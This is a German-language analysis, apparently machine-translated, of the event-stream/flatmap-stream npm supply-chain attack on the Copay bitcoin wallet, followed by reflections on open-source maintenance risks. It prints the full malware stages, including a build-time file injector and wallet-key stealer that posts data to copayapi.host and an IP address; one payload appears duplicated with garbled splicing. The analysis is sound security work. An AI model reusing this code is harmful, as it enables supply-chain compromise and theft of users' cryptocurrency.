Die Geschichte der unglaublichen Leichtigkeit, moderne Softwareentwicklungsinfrastruktur zu hacken

Ende Oktober wurde im äußerst beliebten Tool nodemon Node.js eine Problemmeldung angezeigt. Die Sache war, dass die folgende Warnung in der Konsole angezeigt wurde: DeprecationWarning: crypto.createDecipher is deprecated . Solche Warnungen über veraltete Funktionen sind keine Seltenheit. Insbesondere sah diese Nachricht ziemlich harmlos aus. Es bezog sich nicht einmal auf das Nodemon-Projekt selbst, sondern auf eine seiner Abhängigkeiten. Diese Kleinigkeit könnte von niemandem bemerkt werden, da solche Probleme in vielen Fällen von selbst gelöst werden.

Bild

Ungefähr zwei Wochen nach der ersten Erwähnung dieses Problems überprüfte Ayrton Sparling alles und stellte fest, dass der Grund für die Warnung eine ziemlich tiefe neue Sucht war . Die Nachricht stammte von einem seltsamen Code am Ende einer minimierten JavaScript-Datei, die nicht in früheren Versionen der Bibliothek enthalten war und aus einer späteren Version gelöscht wurde. Ayrtons Forschungen führten ihn zu dem beliebten Event-Stream-Paket npm, das etwa zwei Millionen Mal pro Woche heruntergeladen wird und bis vor kurzem von einem Open-Source-Entwickler mit einem guten Ruf kontrolliert wurde.

Vor einigen Monaten wurde die Kontrolle über den Ereignisstrom auf eine andere Person übertragen, einen wenig bekannten Benutzer, der per E-Mail darum bat , ihm die Rechte zur Veröffentlichung des Pakets zu gewähren. Dies wurde legal gemacht. Anschließend aktualisierte dieser Benutzer das Event-Stream-Paket, einschließlich der Flatmap-Stream-Malware-Abhängigkeit in seiner Patch-Version, und veröffentlichte anschließend eine neue Hauptversion des Pakets ohne diese Abhängigkeit. Dank dessen wollte er die Veränderung weniger auffällig machen. Neue Benutzer, die angeblich eher an Abhängigkeiten interessiert sind, würden die neueste Version von event-stream installieren (4.x zum Zeitpunkt dieses Schreibens). Benutzer, deren Projekte von der vorherigen Version des Pakets abhingen, installierten die infizierte Patch-Version automatisch, wenn sie das nächste Mal den Befehl npm install ausführen (dies berücksichtigt den gängigen Ansatz zum Konfigurieren von Paketversionen, die für Updates geeignet sind).

Details zu Vorfällen


Der böswillige Flatmap-Stream-Code wurde für die Arbeit mit einer Datendatei konfiguriert, die zusätzlich zu einigen Zeilen, die sehr trivial verschleiert waren, zwei verschlüsselte Fragmente enthielt, die nur durch Kenntnis des Kennworts entschlüsselt werden konnten.

 ! function() {   try {       var r = require,           t = process;       function e(r) {           return Buffer.from(r, "hex").toString()       }       var n = r(e("2e2f746573742f64617461")),           o = t[e(n[3])][e(n[4])];       if (!o) return;       var u = r(e(n[2]))[e(n[6])](e(n[5]), o),           a = u.update(n[0], e(n[8]), e(n[9]));       a += u.final(e(n[9]));       var f = new module.constructor;       f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1])   } catch (r) {} }(); 

Nennen Sie dieses Codefragment Payload A Es sucht nach dem Kennwort in der Umgebungsvariablen npm_package_description , die von npm festgelegt wurde. Diese Umgebungsvariable enthält eine Beschreibung des Stammpakets, mit der bösartiger Code nur ein bestimmtes Zielpaket betreffen kann. Kluger Schachzug! In diesem Fall war dieses Paket die Clientanwendung der Copay-Bitcoin-Geldbörse , und das Kennwort zum Entschlüsseln des Schadcodes lautete die Phrase A Secure Bitcoin Wallet (dies wurde vom Gathub- Benutzer maths22 entdeckt ).

Nachdem der Payload A Code das erste Datenelement erfolgreich entschlüsselt hatte, wurde der Code ausgeführt, den wir Payload B nennen.

 /*@@*/ module.exports = function(e) {   try {       if (!/build\:.*\-release/.test(process.argv[2])) return;       var t = process.env.npm_package_description,           r = require("fs"),           i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js",           n = r.statSync(i),           c = r.readFileSync(i, "utf8"),           o = require("crypto").createDecipher("aes256", t),           s = o.update(e, "hex", "utf8");       s = "\n" + (s += o.final("utf8"));       var a = c.indexOf("\n/*@@*/");       0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() {           try {               r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime)           } catch (e) {}       })   } catch (e) {} }; 

Dieser Code überprüfte, ob das Skript ausschließlich mit einem bestimmten Befehlszeilenargument ausgeführt wurde, wobei etwas mit dem build:*-release Muster übereinstimmte. Zum Beispiel könnte es so aussehen, als würde npm run build:ios-release . Andernfalls wurde das Skript nicht ausgeführt. Diese eingeschränkte Codeausführung beschränkt sich auf nur drei Skripte zum Erstellen von Projekten, die in Copay verwendet werden. Es handelt sich nämlich um Skripte, die für die Erstellung der Desktop-Version der Anwendung und ihrer Versionen für iOS und Android verantwortlich sind .

Dann suchte das Skript nach einer anderen Anwendungsabhängigkeit, nämlich dass er an der Datei ReedSolomonDecoder.js aus dem Paket @ zxing / library interessiert war. Der Payload B Code hat diese Datei nicht ausgeführt. Er hat einfach Payload C Code ReedSolomonDecoder , was dazu führte, dass dieser Code beim ReedSolomonDecoder in der Anwendung selbst ReedSolomonDecoder . Hier ist der Payload C Code.

 /*@@*/ ! function() {   function e() {       try {           var o = require("http"),               a = require("crypto"),               c = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\n2wIDAQAB\n-----END PUBLIC KEY-----";           function i(e, t, n) {               e = Buffer.from(e, "hex").toString();               var r = o.request({                   hostname: e,                   port: 8080,                   method: "POST",                   path: "/" + t,                   headers: {                       "Content-Length": n.length,                       "Content-Type": "text/html"                   }               }, function() {});               r.on("error", function(e) {}), r.write(n), r.end()           }           function r(e, t) {               for (var n = "", r = 0; r < t.length; r += 200) {                   var o = t.substr(r, 200);                   n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+"               }               i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n)           }           function l(t, n) {               if (window.cordova) try {                   var e = cordova.file.dataDirectory;                   resolveLocalFileSystemURL(e, function(e) {                       e.getFile(t, {                           create: !1                       }, function(e) {                           e.file(function(e) {                               var t = new FileReader;                               t.onloadend = function() {                                   return n(JSON.parse(t.result))                               }, t.onerror = function(e) {                                   t.abort()                               }, t.readAsText(e)                           })                       })                   })               } catch (e) {} else {                   try {                       var r = localStorage.getItem(t);                       if (r) return n(JSON.parse(r))                   } catch (e) {}                   try {                       chrome.storage.local.get(t, function(e) {                           if (e) return n(JSON.parse(e[t]))                       })                   } catch (e) {}               }           }           global.CSSMap = {}, l("profile", function(e) {               for (var t in e.credentials) {                   var n = e.credentials[t];                   "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) {                       var t = this;                       t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t)))                   }.bind(n))               }           });           var e = require("bitcore-wallet-client/lib/credentials.js");           e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) {               var t = this.getKeysFunc(e);               try {                   global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\t" + this.xPubKey))               } catch (e) {}               return t           }       } catch (e) {}   }   window.cordova ? document.addEventListener("deviceready", e) : e() \ nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C \ nDXUs / peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj \ nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW + / BiGud7b77Fwfq372fUuEIk \ N2P / pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762 \ nPDBMwQsCKQcpKDXw / 6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz \ nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl / cJ / x76To \ n2wIDAQAB \ n ----- END /*@@*/ ! function() {   function e() {       try {           var o = require("http"),               a = require("crypto"),               c = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\n2wIDAQAB\n-----END PUBLIC KEY-----";           function i(e, t, n) {               e = Buffer.from(e, "hex").toString();               var r = o.request({                   hostname: e,                   port: 8080,                   method: "POST",                   path: "/" + t,                   headers: {                       "Content-Length": n.length,                       "Content-Type": "text/html"                   }               }, function() {});               r.on("error", function(e) {}), r.write(n), r.end()           }           function r(e, t) {               for (var n = "", r = 0; r < t.length; r += 200) {                   var o = t.substr(r, 200);                   n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+"               }               i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n)           }           function l(t, n) {               if (window.cordova) try {                   var e = cordova.file.dataDirectory;                   resolveLocalFileSystemURL(e, function(e) {                       e.getFile(t, {                           create: !1                       }, function(e) {                           e.file(function(e) {                               var t = new FileReader;                               t.onloadend = function() {                                   return n(JSON.parse(t.result))                               }, t.onerror = function(e) {                                   t.abort()                               }, t.readAsText(e)                           })                       })                   })               } catch (e) {} else {                   try {                       var r = localStorage.getItem(t);                       if (r) return n(JSON.parse(r))                   } catch (e) {}                   try {                       chrome.storage.local.get(t, function(e) {                           if (e) return n(JSON.parse(e[t]))                       })                   } catch (e) {}               }           }           global.CSSMap = {}, l("profile", function(e) {               for (var t in e.credentials) {                   var n = e.credentials[t];                   "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) {                       var t = this;                       t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t)))                   }.bind(n))               }           });           var e = require("bitcore-wallet-client/lib/credentials.js");           e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) {               var t = this.getKeysFunc(e);               try {                   global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\t" + this.xPubKey))               } catch (e) {}               return t           }       } catch (e) {}   }   window.cordova ? document.addEventListener("deviceready", e) : e() 

Payload A und Payload B Code können in der Node.js-Umgebung auf dem Build-Server des Projekts ausgeführt werden. Payload C in einer Umgebung ausgeführt werden, die einem Browser unter der Kontrolle des Cordova- Frameworks (ehemals PhoneGap ) ähnelt. Mit diesem Framework können Sie native Anwendungen für verschiedene Plattformen mithilfe von Webtechnologien entwickeln - HTML, CSS und JavaScript. Copay-Clientanwendungen (sowie Gabeln dieses Projekts wie FCash ), die für verschiedene Plattformen entwickelt wurden, werden mit Cordova erstellt. Auf diese Kunden richtet sich der Angriff. Diese nativen Apps sind für Copay-Endbenutzer gedacht, die ihre Bitcoin-Geldbörsen mit ihnen verwalten. Diese Brieftaschen waren für den Angreifer von Interesse. Das Skript hat die gestohlenen Daten an copayapi.host und unter 111.90.151.134 gesendet.

Enttäuschende Schlussfolgerungen


Das zu entwickeln, worüber wir gerade gesprochen haben, ist eine entmutigende Aufgabe. Dieser Hack erforderte ernsthafte Nachforschungen und erhebliche Anstrengungen, um einen Angriff durchzuführen. Der Angreifer hatte wahrscheinlich auch Fallback-Optionen, die er verwenden würde, wenn er die Kontrolle über das Event-Stream-Paket nicht erlangen könnte. In Anbetracht der Organisation des Angriffs erscheint es plausibel, dass der Angreifer ursprünglich speziell auf Copay abzielte und nicht nur die Kontrolle über die beliebte Bibliothek erlangte und dann bereits darüber nachdachte, was er damit tun sollte. Die Popularität von Event-Stream lässt darauf schließen, dass der Angreifer in Hunderten von Unternehmen auf der ganzen Welt auf einfache Weise auf wichtige Computer zugreifen konnte. Glücklicherweise wurde die Bedrohung schnell erkannt und neutralisiert, da sie möglicherweise unbemerkt blieb, aber wenn wir darüber nachdenken, was passieren könnte, kommen wir zu der offensichtlichen Schlussfolgerung: Open Source ist schwer krank.

Lassen Sie uns eine Liste der Gründe erstellen, die zu dem oben genannten Vorfall geführt haben:

  1. Die Anwendung (Copay) wurde auf der Grundlage vieler verschiedener Abhängigkeiten erstellt, während der Abhängigkeitsbaum nicht blockiert wurde.
  2. Selbst wenn berücksichtigt wurde, dass der Abhängigkeitsbaum nicht blockiert wurde, die Abhängigkeiten nicht zwischengespeichert wurden, wurden sie bei jedem Build des Projekts aus dem Repository geladen.
  3. Tausende anderer Projekte sind vom Ereignisstrom abhängig und verwenden dieselben oder ähnliche Konfigurationen.
  4. Derjenige, der die Bibliothek unterstützte, von der Tausende von Projekten abhängen, hörte auf, daran zu arbeiten.
  5. Tausende Projekte nutzten diese Bibliothek kostenlos. Gleichzeitig wurde erwartet, dass sie sie ohne materielle Entschädigung unterstützen würden.
  6. Derjenige, der die Bibliothek unterstützte, übertrug die Kontrolle über sie nur auf das Unbekannte, weil er ihn danach fragte.
  7. Es gab keine Benachrichtigungen, dass das Projekt seinen Eigentümer gewechselt hat, und dennoch verwendeten Tausende von Projekten einfach weiterhin das entsprechende Paket.
  8. In der Tat geht diese Liste weiter und weiter ...

Es ist beängstigend darüber nachzudenken, welchen Schaden der von uns diskutierte Einbruch verursachen könnte. Zum Beispiel hängen äußerst ernsthafte Projekte vom Ereignisstrom ab. Zum Beispiel die Microsoft Azure-CLI . Anfällig waren die Computer, auf denen sie dieses Programm entwickeln, und die Computer, auf denen es verwendet wird. Schädlicher Code könnte sowohl auf diese als auch auf andere gelangen.

Das Problem hierbei ist, dass viele Softwareprojekte auf der Grundlage dessen erstellt werden, von denen erwartet wird, dass sie kostenlos arbeiten. Sie erstellen nützliche Programme, beschäftigen sich einige Zeit mit ihnen (oder machen sie einfach nur öffentlich und das ist alles) und es wird erwartet, dass sie ihre Entwicklung bis zum Ende der Zeit unterstützen. Wenn dies für sie nicht funktioniert, tun sie entweder nichts, ignorieren Anrufe an sie oder melden Schwachstellen in ihren Projekten ( schuldig! ) Oder geben ihre Projekte einfach an andere Personen weiter, in der Hoffnung, dass sie gehen und sich nicht mehr darauf einlassen können. Manchmal funktioniert es. Manchmal nicht. Nichts kann jedoch die Schwachstellen rechtfertigen, die aufgrund solcher Phänomene in der Software auftreten. Übrigens wurde selbst die Erkennung eines Problems mit dem Ereignisstrom, dessen Untersuchung und Beseitigung hauptsächlich von Open-Source-Freiwilligen durchgeführt, deren Arbeit in keiner Weise bezahlt wird.

Es sind so viele verschiedene Personen und Organisationen mit dem verbunden, was passiert ist, dass die Suche nach bestimmten Tätern nicht viel Sinn macht. Open Source ist schwer krank und je größer dieses Phänomen wird, desto höher ist die Wahrscheinlichkeit von Katastrophen. Angesichts des zerstörerischen Potenzials des hier diskutierten Vorfalls ist es ein Glück, dass das Ziel des Angreifers nur eine Anwendung war.

Ähnliche Probleme sind nicht auf Node.js oder npm beschränkt. In verwandten Ökosystemen wird ein ebenso unangemessen hohes Maß an Vertrauen in Fremde beobachtet. Dies hat auch mit PyPi in der Python-Umgebung, RubyGems und GitHub zu tun. Jeder kann in den oben genannten Diensten veröffentlichen, ohne dass eine Benachrichtigung die Verwaltung seiner Projekte an irgendjemanden überträgt. Und selbst ohne sie verwenden moderne Projekte solche Mengen an Code anderer Leute, dass eine gründliche Analyse die Arbeit eines Teams für lange Zeit stoppen würde. Um die engen Fristen einzuhalten, installieren die Entwickler das, was sie benötigen, und die Teams, die für Sicherheit und automatisierte Tools zur Codeüberprüfung verantwortlich sind, halten einfach nicht mit der schnellen Entwicklung sich ständig ändernder Programme Schritt.

Liebe Leser! Wie stehen Sie zu dem jüngsten Ereignis-Stream-Vorfall?



Source: https://habr.com/ru/post/de434116/


All Articles